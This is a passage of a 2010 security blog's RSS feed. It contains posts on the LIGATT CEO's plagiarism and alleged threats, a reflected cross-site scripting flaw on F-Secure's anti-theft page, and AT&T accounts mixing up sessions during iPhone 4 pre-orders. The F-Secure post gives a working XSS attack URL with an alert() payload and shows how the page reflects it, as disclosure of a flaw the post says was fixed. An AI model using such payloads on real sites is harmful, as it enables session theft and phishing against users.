<p>On to the two videos: <a href="http://www.nationalcybersecurity.com/articles/441/1/How-Can-Computer-Nerds-Be-Racist/Page1.html">http://www.nationalcybersecurity.com/articles/441/1/How-Can-Computer-Nerds-Be-Racist/Page1.html</a>.</p>

<p>Evans starts by going after security professionals Ben Rothke, who performed <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">a careful analysis of the plagiarized material</a> in “How to Become the World’s Number 1 Hacker”, and Chris Riley who played a part in <a href="http://shitcast.co.uk/?p=68">a fairly respectful interview</a> of Evans on a podcast released yesterday, and whom Evans <a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">threatened harm to for some reason, potentially identity confusion</a>.</p>

<p>For some reason he drones on about Kevin Mitnick, and suggests that the current security industry worships the work Mitnick did. He suggests in the video that Kevin Mitnick came to him for advice on the deal being offered him by the government while the two were incarcerated together.</p>

<p>This was quickly refuted by Mitnick himself:</p>

<p><div id="attachment_4330" class="wp-caption alignnone" style="width: 594px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/mitnick.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/mitnick.jpg" alt="" title="mitnick" width="584" height="326" class="size-full wp-image-4330" /></a><p class="wp-caption-text">Pretty unambiguous.</p></div>
<br /></p>

<p>At 11 minutes in he has still not referenced the plagiarism, ostensibly the reason for making the video response. The next minute is spent discussing how much money he made and help he states having given to the community.</p>

<h3>Video &#8211; Part 2</h3>

<p>Evans finally decides to address the plagiarism issue in part two, wait, no he’s not.</p>

<p>Minute one walks through the media companies he has bamboozled into putting him on television. For some reason he equates his exposure to what he appears to put forth as a “right” to plagiarize the material of people he feels are less well known. He proceeds to discuss contracts held with <a href="http://attrition.org/errata/charlatan/gregory_evans/evans08.html">two professional sports franchises</a>, the Atlanta Hawks and Atlanta Thrashers; however, the contract shown appears to be with Arena Sports Marketing, LLC. The Chief Sales Officer of Atlanta Spirit LLC (parent company of the Thrashers) asserts that LIGATT has never provided “services for the Hawks, Thrashers, or Philips Arena”.</p>

<h4>E-mails Regarding the Sports Teams</h4>

<p>Ben Rothke took the time to verify his findings on this claim with representatives of the two sports teams:</p>

<pre><code>From: Ben Rothke
To: White, Tracy; Penningroth, Ailey
Sent: Sun Jun 13 10:14:13 2010
Subject: Is LIGATT Security in fact the official cyber security provider of the Atlanta Hawks?

Greetings,

I wrote a book review of *How To Become The Worlds No. 1 Hacker* -

https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker.

The book is nearly a complete work of plagiarism.

In the book, the author states that LIGATT is the official cyber security
provider of the Atlanta Hawks. I attached an excerpt of the book which
highlights that.

Note that the also says he is the official cyber security provider of
Phillips Arena and the Atlanta Thrashers.

Can you tell me if that claim is correct?

Thanks,

Ben
</code></pre>

<p>To which he received the following replies:</p>

<pre><code>On Sun, Jun 13, 2010 at 10:39 AM, White, Tracy &lt;
Tracy.White@atlantaspirit.com&gt; wrote:

That claim is not accurate. We are aware that he has made these statements
but they are not accurate.
</code></pre>

<pre><code>From: White, Tracy 
Date: Sun, Jun 13, 2010 at 11:32 AM
Subject: Re: Is LIGATT Security in fact the official cyber security provider of the Atlanta Hawks?
To: Ben Rothke
Cc: "Penningroth, Ailey", "Wilkinson, Scott" 

Ben - yes, you're correct....Ligatt doesn't provide (nor have they ever
provided) services for the Hawks, Thrashers or Philips Arena.
</code></pre>

<p><div id="attachment_4307" class="wp-caption alignnone" style="width: 617px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/Screen-shot-2010-06-17-at-12.11.34-AM.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/Screen-shot-2010-06-17-at-12.11.34-AM.png" alt="" title="Screen shot 2010-06-17 at 12.11.34 AM" width="607" height="396" class="size-full wp-image-4307" /></a><p class="wp-caption-text">Partial cut of a contract provided by Evans references a marketing company, not the teams.</p></div>
<br /></p>

<h4>Continuing&#8230;</h4>

<p>I passed out until 4:26, but there was a lot of bragging about something.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/snake-oil-clip1-150x150.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/snake-oil-clip1-150x150.jpg" alt="" title="snake-oil-clip1-150x150" width="150" height="150" class="alignleft size-full wp-image-4338" /></a></p>

<p>He discusses his twitter program, Learn to Hack in 15 Minutes, for which he issued a press release on May 5th. The video cuts out, and then comes back to his discussion of a teacher teaching from a text book that the teacher didn’t write. In the podcast yesterday he references the fact that a preacher will read from the Bible, but did not actually write the Bible. His overall stance appears to be that he never said he would be writing his own content as opposed to taking content from other people and therefore copying the content verbatim in his social media campaign is therefore okay. He is “taking a little here” and combining it for laypeople, which according to him is why <a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt04/">he makes one million plus a year</a>.</p>

<p>He goes on to explain that the books are not written for a security audience with various metaphors. He discusses that Chris John Riley is a joke to him (again no one is sure why or the basis for his animosity). The video cuts in and out in this part where obvious edits have been made. He insults education, and calls his audience computer nerds. He makes some references to celebrities.</p>

<p>We are now at 19 minutes and the plagiarism charges, the reported reason for the videos, have not been addressed.</p>

<p>He goes on to reference Jobs, Gates, and Dell as people who, like himself, understand both the business “and computers”.</p>

<p>At 11:49 in video two the discussion of plagiarism finally begins: &#8220;I wrote 60% of my book.” The analysis does not support this, there are a number of chapters with 90% similarity rates to previously published work per the <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">iThenticate tool analysis run by Rothke</a>. Evans stated he put out a call for “ghost writers” to which he received “stacks and stacks of information”. He states that the actual authors of the work accepted a flat fee in exchange for signing away full rights to the created work, signing a release and confidentiality agreement. He claims the “people who wrote the stuff” aren’t calling him, or “posting to your board” that their authored works were taken. His claim is that they are not doing this because they signed both a release and a confidentiality agreement. The video cuts out at 13:47 while he is still talking.</p>

<h3>Refuting the Paid Authorship Claim</h3>

<p>This is done fairly quickly via an example. Below find a page from the book <u>How To Become The Worlds No. 1 Hacker</u>:</p>

<p><div id="attachment_4326" class="wp-caption alignnone" style="width: 610px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/116927652.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/116927652.png" alt="" title="116927652" width="600" height="580" class="size-full wp-image-4326" /></a><p class="wp-caption-text">Page from #1 Hacker Book.</p></div>
<br /></p>

<p>Now let&#8217;s look at a section of the article <a href="http://www.ethicalhacker.net/content/view/106/24/">MS Terminal Server Cracking</a> on ethicalhacker.net:</p>

<p><div id="attachment_4327" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ethical_hackernet.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ethical_hackernet.jpg" alt="" title="ethical_hackernet" width="700" height="711" class="size-full wp-image-4327" /></a><p class="wp-caption-text">Article on ethicalhacker.net.</p></div>
<br /></p>

<p>Notice any similarities? Right down to forgetting to remove the name chrisgates on the command prompt, they&#8217;re the same.</p>

<p>So its a straight copy, but maybe Chris Gates was paid as Greg suggested, and elected to &#8220;sign a release&#8221;. Again, easily checked:</p>

<p><div id="attachment_4328" class="wp-caption alignnone" style="width: 583px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/chris_gates.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/chris_gates.jpg" alt="" title="chris_gates" width="573" height="210" class="size-full wp-image-4328" /></a><p class="wp-caption-text">Where's my money?</p></div>
<br /></p>

<p>Maybe the check is in the mail?</p>

<h3>Finally</h3>

<p>This many acts of taking another person’s work without attribution would not have made it past most publishing houses. But with that said, I can’t find another book that’s been published by “Cyber Crime Media”. This mostly nonsense, ham-fisted defense of his actions is amusing on some levels, although probably not for the two real security professionals he is lobbing unsupported accusations at.</p>

<p>Anyhow, we&#8217;re sick of the chicanery.</p>

<p>We know, two posts now on the LIGATT story line. It’s like a car accident we can’t look away from. We&#8217;ll promise to get back on something more important soon.</p>

<h3>References</h3>

<ul>
<li><a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt07/">Gregory D. Evans Criminal History</a></li>
<li><a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">Fair use, plagiarism and the World’s No. 1 Hacker book</a></li>
<li><a href="http://securitymusings.com/article/1950/ligatt-honestly-and-truly-scares-me">LIGATT honestly and truly scares me</a></li>
<li><a href="http://crabbyolbastard.wordpress.com/2010/06/21/ligatt-a-cautionary-tale-of-cyber-security-snake-oil/">LIGATT, a Cautionary Tale of Cybersecurity Snake Oil</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/4305/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</title>
		<link>http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 00:09:29 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4268</guid>
		<description><![CDATA[How did one of these men come to threaten the lives of the other and his family?]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt-150x150.jpg" alt="" title="ligatt" width="150" height="150" class="alignleft size-thumbnail wp-image-4299" /></a></p>

<p>European security analyst Chris John Riley is a well known and legitimate security professional who co-hosts the Eurotrash Security Podcast and writes on the <a href="http://blog.c22.cc/2010/06/17/threats/">Catch22 Insecurity blog</a>. Gregory Evans is a convicted felon (federal conspiracy and wire fraud against AT&amp;T and MCI for stealing 125 toll free telephone lines) who <a href="http://attrition.org/errata/charlatan/gregory_evans/evans02.html">paid $9 million in restitution</a>, was sentenced to 24 months in federal prison, and runs <a href="http://attrition.org/errata/charlatan/gregory_evans/">a dubious company</a> that makes <a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">great commercials</a> but also <a href="http://attrition.org/errata/charlatan/gregory_evans/evans08.html">claims a client list</a> they don&#8217;t actually have, <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">plagiarizes to write books</a>, and performs <a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt04/">press release ping pong</a> with a penny stock. So how did one of these men come to <a href="http://blog.c22.cc/2010/06/17/threats/">threaten the lives</a> of the other and his family?</p>

<h3>The Buildup, The Book</h3>

<div id="attachment_4288" class="wp-caption alignright" style="width: 125px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/51av8ttEJ5L._SL160_AA115_.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/51av8ttEJ5L._SL160_AA115_.jpg" alt="" title="51av8ttEJ5L._SL160_AA115_" width="115" height="115" class="size-full wp-image-4288" /></a><p class="wp-caption-text">Book/plagiarism.</p></div>

<p>As mentioned, Riley is part of the Eurotrash Security Podcast, and as with many podcasts, interviews of information security professionals and personalities come with the territory. In that role, Riley sought to have Evans do an interview on the most recent charges that his book <u>How To Become The Worlds No. 1 Hacker</u> is largely <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">a work of plagiarism</a>.</p>

<p>So Riley called the LIGATT office in Atlanta, was eventually put through to Evans, and after discussing some preliminaries on the book agreed to an interview the following evening. Riley provided his blog URL and LIGATT&#8217;s secretary provided Evan&#8217;s Skype ID (ligattsecurity) for the interview.</p>

<h3>15 Minutes Later&#8230;</h3>

<p>Within fifteen minutes of the phone call, the following comment was submitted to the book review section of Riley&#8217;s blog:</p>

<p><div id="attachment_4282" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/evans_quote.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/evans_quote.png" alt="" title="evans_quote" width="750" height="125" class="size-full wp-image-4282" /></a><p class="wp-caption-text">Comment received 15 minutes after phone call.</p></div>
<br /></p>

<p>So what would cause the CEO of a publicly traded company to fly off the handle in such an unreasonable way? The answer may be a case of mistaken identity. The 20Plus reference in the beginning of Evan&#8217;s written rant makes no sense when applied to Chris John Riley. But there is a user on the forums of advfn.com, an investment web site, with that handle. And this is a user who <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=50580944">continually</a> <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=50306323">expresses dissatisfaction</a> with the LIGATT stock (LGTT) and <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=51048972">the management</a> <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=50309143">of the company</a>.</p>

<h3>Maybe Its Not Evans</h3>

<p>We can allow for that possibility, but a preponderance of evidence shows otherwise. The whois for the IP address shows BellSouth, Atlanta GA, right where the LIGATT offices are. That combined with the specific references to the phone call and references to an Evan&#8217;s nemesis on investment boards of ADVFN suggest this was in fact Evans.</p>

<p><div id="attachment_4280" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-43-58-pm.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-43-58-pm.png" alt="" title="screen-shot-2010-06-17-at-10-43-58-pm" width="300" height="196" class="size-full wp-image-4280" /></a><p class="wp-caption-text">IP points to Atlanta, GA</p></div>
<br /></p>

<h3>Put up the money and challenge me!</h3>

<p>One of the lines in the comment references Mr. Evans&#8217; repeated call to &#8220;challenge him&#8221; to some manner of hacker competition.</p>

<p><div id="attachment_4273" class="wp-caption alignnone" style="width: 411px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt_challenge.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt_challenge.jpg" alt="" title="ligatt_challenge" width="401" height="202" class="size-full wp-image-4273" /></a><p class="wp-caption-text">LIGATT, ostensibly Evans, challenges the hackers of the world.</p></div>
<br /></p>

<p>A credible response to this challenge was made by Chris Nickerson, formerly of <a href="http://en.wikipedia.org/wiki/Tiger_Team_%28TV_series%29">Tiger Team fame</a> (a TruTV show demonstrating actual social engineering and hacking).</p>

<p><div id="attachment_4274" class="wp-caption alignnone" style="width: 309px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-55-44-pm.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-55-44-pm.png" alt="" title="screen-shot-2010-06-17-at-10-55-44-pm" width="299" height="200" class="size-full wp-image-4274" /></a><p class="wp-caption-text">Nickerson's unambiguous response.</p></div>
<br /></p>

<p>Thus far Evans continues to repeat the original challenge, while refusing to acknowledge that Mr. Nickerson has already accepted it.</p>

<h3>Finally</h3>

<p>This nonsense with Evans and this company has been far too much for far too long. It is a free country, and people can form firms and make a living, even reformed criminals. But the evidence suggests, as it has for a while, to steer clear of Ligatt and its volatile CEO. Far too many, especially in the media (Fox News, CNN, The History Channel), have been taken in by the wild claims of this outfit.</p>

<h3>Update</h3>

<p>The Student Hacker IT cast has posted their <a href="http://shitcast.co.uk/?p=68">LIGATT Interview</a>, which is fairly instructive of the issues discussed.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>F-Secure XSS on Anti-Theft Website</title>
		<link>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 20:19:24 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[f-secure]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4247</guid>
		<description><![CDATA[In a new section supporting the release of an anti-theft product for mobile phones, the web site of Helsinki based anti-virus company F-Secure is vulnerable to cross site scripting (XSS).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/F-secure_Logo.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/F-secure_Logo-150x150.png" alt="" title="F-secure_Logo" width="75" height="75" class="alignleft size-thumbnail wp-image-4249" /></a></p>

<p>In a new section supporting the release of an anti-theft product for mobile phones, the web site of Helsinki based anti-virus company F-Secure is vulnerable to cross site scripting (XSS).</p>

<h3>XSS String</h3>

<p>A hidden form field reflects values from a name value pair (hidManufacturer in this case) from the URL.</p>

<p><b>Attack URL:</b></p>

<pre><code>http://www.f-secure.com/en_EMEA/products/mobile/anti-theft-download/anti-theft-download-
wizard.html?hidManufacturer=%27%22%3E%3C/title%3E%3Cscript%3Ealert%28/Mikko%20rulz/%29%3C
/script%3E
</code></pre>

<p><b>First reflection of URL XSS name-value pair:</b></p>

<pre><code>&lt;input type="hidden" name="hidManufacturer" id="hidManufacturer" value="\'\&amp;quot;&amp;gt;&amp;lt;\/title&amp;gt;&amp;lt;
script&amp;gt;alert(\/Mikko rulz\/)&amp;lt;\/script&amp;gt;"/&gt;&lt;/p&gt;
</code></pre>

<p>But nothing happens on this reflection because much of what is passed in the URL (the bracket and quote characters) is encoded as &amp;quote, &amp;gt, &amp;lt on the output of the page. This is generally recognized as <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_Inserting_Untrusted_Data_into_HTML_Element_Content">a right practice</a> to avoid many forms of cross site scripting attacks on web pages.</p>

<p>Unfortunately a Javascript later in the page is referencing the passed in string without any of the same encoding.</p>

<p><b>Second reflection in the page of the same value:</b></p>

<pre><code>&lt;script type="text/javascript"&gt;
    document.getElementById(''"&gt;&lt;/title&gt;&lt;script&gt;alert(/Mikko rulz/)&lt;/script&gt;').setAttribute("class", 
"selected");
    document.getElementById(''"&gt;&lt;/title&gt;&lt;script&gt;alert(/Mikko rulz/)&lt;/script&gt;').setAttribute("className", 
"selected");
&lt;/script&gt;
</code></pre>

<p><div id="attachment_4250" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/fsecure_xss1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/fsecure_xss1.jpg" alt="" title="fsecure_xss" width="750" height="577" class="size-full wp-image-4250" /></a><p class="wp-caption-text">A Javascript reflects values unencoded from a name value pair in the URL.</p></div>
<br /></p>

<h3>Finally</h3>

<p>The Mikko reference is to Mikko Hypponen, the well known Chief Research Officer at F-Secure. The defect was <a href="http://www.xssed.com/mirror/67259/">submitted to XSSED</a> by Xylitol. At a glance this appears to be the first new web site specific problem with the main F-Secure web site (country specific versions have had issues) since the F-Secure forum defacement <a href="http://zone-h.org/mirror/id/6923295">in 2007</a>.</p>

<p>Reflected cross site scripting attacks are on the low end of the scale when it comes to web application vulnerabilities, however they can be used effectively in phishing style attacks (ex: here is a URL to F-Secure, but I will attempt to steal a user session, redirect the user, serve them malware, etc. based on being able to execute a script as the F-Secure web site). As always it behooves a security company to correct problems like this fairly quickly, and F-Secure clearly knows what to do already since they&#8217;re using output encoding in one part of the page already.</p>

<h3>Update 06/8/2010</h3>

<p>The problem was corrected quickly, and <a href="http://www.f-secure.com/weblog/archives/00001972.html">the issue explained</a> competently by Mikko, as expected.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>iPhone 4 Ordering and Session Switching</title>
		<link>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 21:18:19 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[AT&T]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4215</guid>
		<description><![CDATA[Upon logging into AT&#38;T online to place an order for the new iPhone, some users are reporting that another user's information is coming up including billing information, call history, and so forth.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/iPhone-4.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/iPhone-4-150x150.jpg" alt="" title="iPhone-4" width="150" height="150" class="alignleft size-thumbnail wp-image-4221" /></a></p>

<p>Users are reporting issues trying to reserve the ability to purchase (pre-order) the latest iPhone 4 on June 24th, when they go on sale, caused by what is basically a complete overwhelming of the systems designed to take the orders. AT&amp;T&#8217;s web interface at brick and mortar shops is failing to the point where orders are being taken with pen and paper, and the Apple web site is acting clunky. But the most serious issue people are reporting is that upon logging into AT&amp;T online to place the order, another user&#8217;s information is coming up.</p>

<p>AT&amp;T eventually just disabled online access for its users. <a href="http://gizmodo.com/5564262/apple-iphone-4-order-security-breach-exposes-private-information">Gizmodo</a> received these messages from their readership amongst around 8 complaints:</p>

<pre><code>From: Eric Paul Mertens
Date: Tue, Jun 15, 2010 at 11:19 AM
Subject: AT&amp;T iphone pre-order wrong account

This morning while trying to pre-order the iPhone 4 through AT&amp;T website, my login brought me to a ‘website 
unavailable' screen. After a refresh it brought me to the phone upgrade page logged in under a different 
account, 

some dude from Lakewood OH!
</code></pre>

<pre><code>From: Michael
Date: Tue, Jun 15, 2010 at 11:09 AM
Subject: AT&amp;T security breach

Hello,

I am not sure if this e-mail is going to the correct place but this morning when trying to log in to my at&amp;t 
account I entered my information and ended up in someone else's account with access to all their information. 
I feel as though someone could now be logged in to my account. To me, this seems like a huge security 
breach and at&amp;t is shrugging me off as if it is no big deal and I feel that it is. I just thought with the
recent i-pad breach that this one is an even bigger one and I wanted to bring it to your attention.

Thanks,
Michael Staropoli
</code></pre>

<p>And one user was kind enough to provide a screenshot to drive home the point.</p>

<pre><code>From: john king
Date: Tue, Jun 15, 2010 at 2:04 PM
Subject: ATT WEBSITE LOGS ME IN AS ANOTHER CUSTOMER
To: tips@gizmodo.com

I LOGGED IN AS ME AND IT BROUGHT UP A MARY ???? BIG PROBLEM
-JPK
</code></pre>

<div id="attachment_4232" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/att_mary.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/att_mary.jpg" alt="" title="att_mary" width="700" height="469" class="size-full wp-image-4232" /></a><p class="wp-caption-text">AT&amp;T user finds that he's a Mary.</p></div>
<br /></p>

<h3>System Upgrade?</h3>

<p>Gizmodo received a report from a 3rd party put forth that an untested (in their opinion) system change is probably responsible for these issues.</p>

<p><i>I work at a 3rd party order processing facility—what AT&amp;T refers to as a 3CC. We process business-to-business, business-to-customer Wireline Indirect, and ACME/PAC (what AT&amp;T calls their iPhone program internally). Agents use AT&amp;T programs called Phoenix, Telegence, Compass, Ordertrack and myCSP to process orders.</p>

<p>Over the weekend there was a major fraud update that went down on all of AT&amp;T&#8217;s systems, from Saturday overnight to Sunday early morning. All systems were down and agents were unable to use any systems.</p>

<p>The issues people are seeing at AT&amp;T stores and online are most likely related to this update that went wrong.</p>

<p>I do know that there was absolutely NO TESTING of this system done before the launch of the new iPhone. I know it&#8217;s just heresay at this point, but I can confirm that there was a major outage over the weekend that impacted all ordering systems and programs, and I can confirm that there were multiple systems being upgraded/updated, with some updates being related to fraud.</p>

<p>At this point, I can say that the system that AT&amp;T uses to send automated orders to be processed is as of this very moment down completely. Our facility is unable to process any orders by phone or by automation.</p>

<p>(Regarding the identity problem) Whenever we see people who are logging in and seeing other customer&#8217;s account info, it is an issue with the databases that contain customer information. Orders that contain any information like this can cross customer information, and cause a customer be able to see other accounts by logging out and logging back in. This means that when they log in a few times, it gives them different customer account info every time. It&#8217;s a rare occurrence, but it has happened in the past.</p>

<p>You might want to advise people to not get the upgrade at this point as it may be a doorway to a major privacy breach.</i></p>

<p>This analysis is thin and speculative at best. It seems to be focused on B2B platforms, whereas the problems are reported in the retail web site. It is possible to have a problem introduced this way, but theoretically it would probably be more wide spread.</p>

<h3>Nah&#8230;</h3>

<p>So if we look at this, without any other information, how do we decide that one user logging in and seeing another user&#8217;s information is probably not the result of a weekend systems&#8217; upgrade? Because we&#8217;ve seen this behavior before, a lot. When you stress test a web site, its not uncommon to see functions that return and read user sessions get garbled, and web sites start to return pages for the wrong user session.</p>

<p><div id="attachment_4236" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_att-store-line.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_att-store-line-150x150.jpg" alt="" title="500x_att-store-line" width="150" height="150" class="size-thumbnail wp-image-4236" /></a><p class="wp-caption-text">U.S. productivity grinds to a stand still.</p></div>

<p>When you log into a web site a session gets created and some sort of persistence mechanism is returned to maintain the session (usually a session cookie, but there are other less used methods available). Every &#8220;logged in page&#8221; reads this session identifier to determine whether the user is logged in and uses it to return the right information. Further complexity is usually introduced into large web sites, where some sort of load balancing is taking place, and therefore a user&#8217;s session has to be found amongst data centers, servers, and so forth.</p>

<p>As Christian points out below, one example is that session cookies are sometimes made unique based on a time stamp which in many sites will only go down to milliseconds. Thus when a site receives too many concurrent requests, it starts issuing duplicate session cookies.</p>

<p>When you overload the capacity of programs that read, manage, and create sessions, bad stuff happens like sessions getting crossed. Since the AT&amp;T site was probably under a severe and unusually high server load today, the site went haywire (in our technical opinion).</p>

<p>How do you prevent this from happening? Add occasional and event driven stress testing to your quality assurance processes, you will find a number of unusual and difficult to solve problems result. At the very least you will know how your web application acts under unusually high loads, and thus not be surprised when the Apple fanboys come calling for Steve&#8217;s latest masterpiece.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Newsweek Reports Zombie Invasion</title>
		<link>http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 23:12:03 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[konami code]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4198</guid>
		<description><![CDATA[Newsweek.com becomes the latest in a <a href="http://konamicodesites.com/">long list of sites</a> that will reveal an Easter egg if you enter the Konami Code (↑, ↑, ↓, ↓, ←, →, ←, →, B, A, enter) correctly.]]></description>
